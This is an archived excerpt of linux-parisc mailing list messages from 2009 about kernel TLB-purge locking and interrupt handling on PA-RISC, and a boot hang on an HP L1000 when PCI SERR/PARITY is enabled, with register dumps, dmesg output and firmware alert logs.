      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI

PSW: 00000000000001101111100100001111 Tainted: G        W

r00-03  0006f90f 10640000 10112760 106f4c40

r04-07  5eadc000 2418e30c 0004eadc 113336f0

r08-11  2418e31c 0000007c 106f4a88 7c5b3c7c

r12-15  104c45ec 106c9da0 00001000 10000000

r16-19  00000fff 1067f13c 105e0560 00000100

r20-23  0000ff00 5eadc10a 5eadc100 00000040

r24-27  00000000 5eadcfc0 5eadd000 10640680

r28-31  106f4000 0000000a 106f4c80 471249e8

sr00-03  00000000 00000000 00000000 00000025

sr04-07  00000000 00000000 00000000 00000000



IASQ: 00000000 00000000 IAOQ: 10112774 10112778

  IIR: 03ffe01f    ISR: 0424013a  IOR: b72dcfc0

  CPU:        0   CR30: 106f4000 CR31: 11111111

  ORIG_R28: 106f4dc0

  IAOQ[0]: flush_kernel_dcache_page_addr+0x30/0xa0

  IAOQ[1]: flush_kernel_dcache_page_addr+0x34/0xa0

  RP(r2): flush_kernel_dcache_page_addr+0x1c/0xa0

Backtrace:

  [<10112760>] flush_kernel_dcache_page_addr+0x1c/0xa0



Sadly I didn't got a full backtrace.
The WARN_ON() triggered around 20 times during the phase where my machine was
pretty much loaded.
Interestingly it was always inflush_kernel_dcache_page_addr().

So, I still think my patch at http://patchwork.kernel.org/patch/28458/ should
be applied to all kernels.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sun, 14 Jun 2009 19:20:47 -0400
Organization: nrc.ca
Lines: 108
Approved: news@gmane.org
Message-ID: <20090614232046.GA14028@hiauly1.hia.nrc.ca>
References: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca> <4A2ADEC9.2090403@gmx.de> <4A35741F.6000107@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245021659 5527 80.91.229.12 (14 Jun 2009 23:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Jun 2009 23:20:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 01:20:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MFz0N-0002Gs-95
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 01:20:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752965AbZFNXUr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Jun 2009 19:20:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754210AbZFNXUr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 14 Jun 2009 19:20:47 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2374 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752965AbZFNXUq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Jun 2009 19:20:46 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BD0084FEA; Sun, 14 Jun 2009 19:20:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4A35741F.6000107@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1744>

On Mon, 15 Jun 2009, Helge Deller wrote:

> On 06/06/2009 11:25 PM, Helge Deller wrote:
>> John David Anglin wrote:
>>> On the rp3440, the spinlock is definitely needed.  With just
>>> preempt_disable/preempt_enable, a crash occurs during bootstrap
>>> at the point unused memory is recovered.  Thus, the tlb purge
>>> issue referred to in the preceeding comment affects more than
>>> just N class.
>>>
>>> On the otherhand, it doesn't seem necessary to disable interrupts
>>> during the purge with UP kernels.
>>
>> My kernel crashes happened with UP-kernels on a B2000 (1 CPU).
>> So, I still have the feeling that it's necessary to disable interrupts
>> on UP kernels as well.
>
> Hi Dave,
>
> I did further testing. Especially I wanted to clarify if disabling
> interrupts are necessary or not.
>
> To test it, I added a WARN_ON(in_interrupt()) to the purge_tlb_start() 
> macro like this:
> +#define purge_tlb_start(flags)	WARN_ON(in_interrupt()); 
> spin_lock_irqsave(&pa_tlb_lock, flags)
> and did ran the compile-test which usually hang my system.
>
> The result is that we really need to disable interrupts.
> The WARN_ON() did triggered for me again as it always did hang the system.
> This is with a UP-kernel (2.6.30-rc8) on a UP-machine (B2000):
>
>
> Badness at arch/parisc/kernel/cache.c:461
>
>
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>
> PSW: 00000000000001101111100100001111 Tainted: G        W
>
> r00-03  0006f90f 10640000 10112760 106f4c40
>
> r04-07  5eadc000 2418e30c 0004eadc 113336f0
>
> r08-11  2418e31c 0000007c 106f4a88 7c5b3c7c
>
> r12-15  104c45ec 106c9da0 00001000 10000000
>
> r16-19  00000fff 1067f13c 105e0560 00000100
>
> r20-23  0000ff00 5eadc10a 5eadc100 00000040
>
> r24-27  00000000 5eadcfc0 5eadd000 10640680
>
> r28-31  106f4000 0000000a 106f4c80 471249e8
>
> sr00-03  00000000 00000000 00000000 00000025
>
> sr04-07  00000000 00000000 00000000 00000000
>
>
>
> IASQ: 00000000 00000000 IAOQ: 10112774 10112778
>
>  IIR: 03ffe01f    ISR: 0424013a  IOR: b72dcfc0
>
>  CPU:        0   CR30: 106f4000 CR31: 11111111
>
>  ORIG_R28: 106f4dc0
>
>  IAOQ[0]: flush_kernel_dcache_page_addr+0x30/0xa0
>
>  IAOQ[1]: flush_kernel_dcache_page_addr+0x34/0xa0
>
>  RP(r2): flush_kernel_dcache_page_addr+0x1c/0xa0
>
> Backtrace:
>
>  [<10112760>] flush_kernel_dcache_page_addr+0x1c/0xa0
>
>
>
> Sadly I didn't got a full backtrace.
> The WARN_ON() triggered around 20 times during the phase where my machine 
> was
> pretty much loaded.
> Interestingly it was always inflush_kernel_dcache_page_addr().
>
> So, I still think my patch at http://patchwork.kernel.org/patch/28458/ 
> should
> be applied to all kernels.

I am convinced that interrupts need to be disabled on SMP kernels to
prevent deadlock.  On UP kernels, I am not convinced that anything bad
happens if we do a tlb purge while handling an interrupt since we don't
have to worry about preventing bus conflicts.  The UP code can't
deadlock.  I'm thinking that we can stay with disabling preemption.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 15 Jun 2009 13:24:18 +0300 (EEST)
Lines: 281
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0906151310150.20680@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1245063054 27672 80.91.229.12 (15 Jun 2009 10:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 10:50:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 12:50:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MG9m2-0000vc-4V
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 12:50:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752397AbZFOKul (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 06:50:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753220AbZFOKul
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 06:50:41 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:50742 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752397AbZFOKuj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 06:50:39 -0400
X-Greylist: delayed 1581 seconds by postgrey-1.27 at vger.kernel.org; Mon, 15 Jun 2009 06:50:38 EDT
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 3E58C6E4C8F
	for <linux-parisc@vger.kernel.org>; Mon, 15 Jun 2009 13:24:18 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 389C9FD7A1; Mon, 15 Jun 2009 13:24:18 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 2F88EFD79B
	for <linux-parisc@vger.kernel.org>; Mon, 15 Jun 2009 13:24:18 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1745>

I found that my L1000 fails to boot wiath any new kernel (anything 
2.6.26+ I tried). In my case, it stops after tulip initialization and 
other people have seen it too:
http://www.mail-archive.com/debian-hppa@lists.debian.org/msg06301.html

The last lines are

tulip 0000:18:00.0: enabling device (0000 -> 0003)
tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)

In some other cases, people see similar errors from sym53c8xx:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=519984

sym53c8xx 0000:d0:00.0: enabling device (0000 -> 0003)
sym53c8xx 0000:d0:00.0: enabling SERR and PARITY (0003 -> 0143)

In my case, Debians 2.6.26 UP kernel sometimes boots, I think I have 
also seen 2.6.30-rc2 booting once. Debian 2.6.26 SMP, 2.6.29 SMP and 
handcompiled newer kernels have failed the same. It does not fail on 
sym53c8xx for me.

I have only tried 64-bit kernels.

Full dmesg from my L1000:

Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32     156   83 ext2
5             157   33408   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 6240197 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4784128 mediaptr 0x1000
Segment 1 load 00628000 size 403984 mediaptr 0x491000
Segment 2 load 0068c000 size 317824 mediaptr 0x4f4000
Loading ramdisk 7887983 bytes @ 3f868000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.29-2-parisc64-smp (Debian 2.6.29-5) (waldi@debian.org) (gcc version 4.3.3 (GCC) ) #1 SMP Mon May 18 14:55:30 UTC 2009
[    0.000000] unwind_init: start = 0x404bf0a4, end = 0x404eb424, entries = 11320
[    0.000000] WARNING: Out of order unwind entry! 00000000404c0fb4 and 00000000404c0fc4
[    0.000000] WARNING: Out of order unwind entry! 00000000404c0fc4 and 00000000404c0fd4
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 8 (0x00000228)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/L1000-44
[    0.000000] Total Memory: 3072 MB
[    0.000000] initrd: 7f868000-7ffedc6f
[    0.000000] initrd: reserving 3f868000-3ffedc6f (mem_max c0000000)
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[17179569.184000] Console: colour dummy device 160x64
[17179569.204000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[17179569.244000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[17179569.764000] Memory: 3075708k/3145728k available (3164k kernel code, 69364k reserved, 1459k data, 312k init)
[17179569.772000] virtual kernel memory layout:
[17179569.772000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[17179569.772000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
[17179569.772000]       .init : 0x000000004068c000 - 0x00000000406da000   ( 312 kB)
[17179569.772000]       .data : 0x00000000404173d0 - 0x0000000040584000   (1459 kB)
[17179569.772000]       .text : 0x0000000040100000 - 0x00000000404173d0   (3164 kB)
[17179569.848000] Calibrating delay loop... 876.54 BogoMIPS (lpj=1753088)
[17179569.944000] Security Framework initialized
[17179569.952000] SELinux:  Disabled at boot.
[17179569.964000] Mount-cache hash table entries: 256
[17179570.064000] Initializing cgroup subsys ns
[17179570.072000] Initializing cgroup subsys cpuacct
[17179570.080000] Initializing cgroup subsys devices
[17179570.084000] Initializing cgroup subsys freezer
[17179570.092000] Initializing cgroup subsys net_cls
[17179570.104000] Brought up 1 CPUs
[17179570.348000] net_namespace: 1880 bytes
[17179570.356000] regulator: core version 0.5
[17179570.484000] NET: Registered protocol family 16
[17179570.496000] EISA bus registered
[17179570.504000] Searching for devices...
[17179571.080000] Found devices:
[17179571.084000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
[17179571.096000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
[17179571.104000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
[17179571.108000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[17179571.116000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[17179571.192000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
[17179571.200000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[17179571.208000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
[17179571.216000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
[17179571.224000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] {
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error detected.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
[17179572.328000] powersw: Soft power switch support not available.
[17179572.344000] bio: create slab <bio-0> at 0
[17179572.480000] NET: Registered protocol family 2
[17179572.540000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
[17179572.548000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[17179572.624000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[17179572.748000] TCP: Hash tables configured (established 262144 bind 65536)
[17179572.756000] TCP reno registered
[17179572.896000] NET: Registered protocol family 1
[17179572.900000] checking if image is initramfs... it is
[17179576.384000] Freeing initrd memory: 7703k freed
[17179576.396000] Chassis warnings not supported.
[17179576.404000] Performance monitoring counters enabled for Rhapsody DC- 440
[17179576.416000] audit: initializing netlink socket (disabled)
[17179576.428000] type=2000 audit(1245059087.144:1): initialized
[17179576.440000] VFS: Disk quotas dquot_6.5.2
[17179576.448000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[17179576.472000] msgmni has been set to 6023
[17179576.484000] alg: No test for stdrng (krng)
[17179576.492000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[17179576.504000] io scheduler noop registered
[17179576.508000] io scheduler anticipatory registered
[17179576.512000] io scheduler deadline registered
[17179576.516000] io scheduler cfq registered (default)
[17179576.616000] PDC Stable Storage facility v0.30
[17179577.436000] STI GSC/PCI core graphics driver Version 0.9a
[17179577.464000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[17179577.476000] serial 0000:00:04.0: enabling device (0146 -> 0147)
[17179577.488000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
[17179577.496000] console handover: boot [ttyB0] -> real [ttyS0]
[17179577.512000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
[17179577.536000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
[17179577.552000] serial 0000:00:05.0: enabling device (0000 -> 0003)
[17179577.564000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
[17179577.576000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
[17179577.588000] Couldn't register serial port 0000:00:05.0: -28
[17179577.688000] brd: module loaded
[17179577.816000] mice: PS/2 mouse device common for all mice
[17179577.824000] rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
[17179577.840000] TCP cubic registered
[17179577.956000] NET: Registered protocol family 17
[17179577.960000] registered taskstats version 1
[17179578.100000] rtc-parisc rtc-parisc: setting system clock to 2009-06-15 09:44:48 UTC (1245059088)
[17179578.112000] Freeing unused kernel memory: <0>------------[ cut here ]------------
[17179578.248000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:329
[17179578.256000] 
[17179578.256000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[17179578.260000] PSW: 00001000000001100000000000001110 Not tainted
[17179578.268000] r00-03  000000000806000e 00000000406829c0 0000000040181194 0000000040590020
[17179578.272000] r04-07  00000000406791c0 000000004065e6a0 0000000000000000
[17179578.808000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
[17179578.820000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
[17179578.828000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 00000000406da000
[17179578.836000] r20-23  0000000000000000 00000000406da000 fffffffffffffffe 0000000000000001
[17179578.844000] r24-27  0000000000000000 000000004065e6a0 00000000404fdfa0 0000000049.236000] r28-31  000000000800000e 00000000ff8404a0 00000000ff840590 0000000000000000
[17179579.376000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179579.392000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179579.400000] 
[17179579.400000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180e34 0000000040180e38
[17179579.408000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe10040510
[17179579.416000]  CPU:        0   CR30: 00000000ff840000 CR31: 0000000009.812000]  ORIG_R28: 000000000800000e
[17179579.940000]  IAOQ[0]: smp_call_function_many+0x44/0x368
[17179579.948000]  IAOQ[1]: smp_call_function_many+0x48/0x368
[17179579.956000]  RP(r2): smp_call_function+0x3c/0x50
[17179579.960000] Backtrace:
[17179579.960000]  [<0000000040181194>] smp_call_function+0x3c/0x50
[17179579.964000]  [<00000000401a1504>] call_rcu+0x44/0x58
[17179580.216000] 
[17179580.348000] ------------[ cut here ]------------
[17179580.356000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:226
[17179580.364000] 
[17179580.364000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[17179580.372000] PSW: 00001000000001101111111000001110 Tainted: G        W 
[17179580.376000] r00-03  000000ff0806fe0e 000000004067e1c0 0000000040180f1c 0000000000000000
[17179580.384000] r04-07  00000000406791c0 0000000005e6a0 0000000000000000
[17179580.924000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
[17179580.936000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
[17179580.944000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 0000000000000008
[17179580.952000] r20-23  00000000404fdfa0 0000000000000002 fffffffffffffffe 0000000000000001
[17179580.956000] r24-27  0000000000000000 000000004065e6a0 0000000000000001 000000004[17179581.340000] r28-31  000000000800000e 00000000ff840560 00000000ff840660 0000000000000008
[17179581.348000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179581.356000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179581.364000] 
[17179581.368000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180cd0 0000000040180cd4
[17179581.376000]  IIR: 03ffe01f    ISR: 000: 000002fe100405e0
[17179581.908000]  CPU:        0
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
Begin: Loading essential drivers ... WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
[17179582.992000] SCSI subsystem initialized
WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
done.
Begin: Running /scripts/init-premount ... [17179583.808000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[17179583.876000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
[17179583.896000] tulip0: no phy info, aborting mtable build
[17179584.016000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
[17179584.040000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
[17179584.300000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
[17179584.308000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)

************* SYSTEM ALERT **************
SYSTEM NAME: scaspdb24
DATE: 06/15/2009 TIME: 09:44:55
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       OFF      FLASH         FLASH     ON         ON
LED State: Unrecognized state - Refer to LED Decoder on your Support CD.

0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006D05 0F092C37 - type 11 = Timestamp 06/15/2009 09:44:55
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:a
*****************************************

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 15 Jun 2009 09:45:18 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
References: <Pine.SOC.4.64.0906151310150.20680@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245073527 28221 80.91.229.12 (15 Jun 2009 13:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2009 13:45:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: mroos@linux.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 15:45:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGCV2-0005kz-FB
	for glpp-linux-parisc@gmane.org; Mon, 15 Jun 2009 15:45:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750964AbZFONpT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2009 09:45:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751173AbZFONpT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Jun 2009 09:45:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2410 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750964AbZFONpS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2009 09:45:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6EE824FC5; Mon, 15 Jun 2009 09:45:19 -0400 (EDT)
In-Reply-To: <Pine.SOC.4.64.0906151310150.20680@math.ut.ee> from "Meelis Roos" at Jun 15, 2009 01:24:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1746>

> SYSTEM NAME: scaspdb24
> DATE: 06/15/2009 TIME: 09:44:55
> ALERT LEVEL: 7 = reserved
> 
> REASON FOR ALERT
> SOURCE: 0 = unknown, no source stated
> SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> PROBLEM DETAIL: 0 = no problem detail
> 
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        OFF      FLASH         FLASH     ON         ON
> LED State: Unrecognized state - Refer to LED Decoder on your Support CD.
> 
> 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> 0x5800087000FF6292 00006D05 0F092C37 - type 11 = Timestamp 06/15/2009 09:44:55

I believe FF6292 is a HPMC.  Please collect and post the "ser pim" output
for the above.  It would also help if the location of the HPMC can be related
to your compiled kernel using objdump.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:20 2018
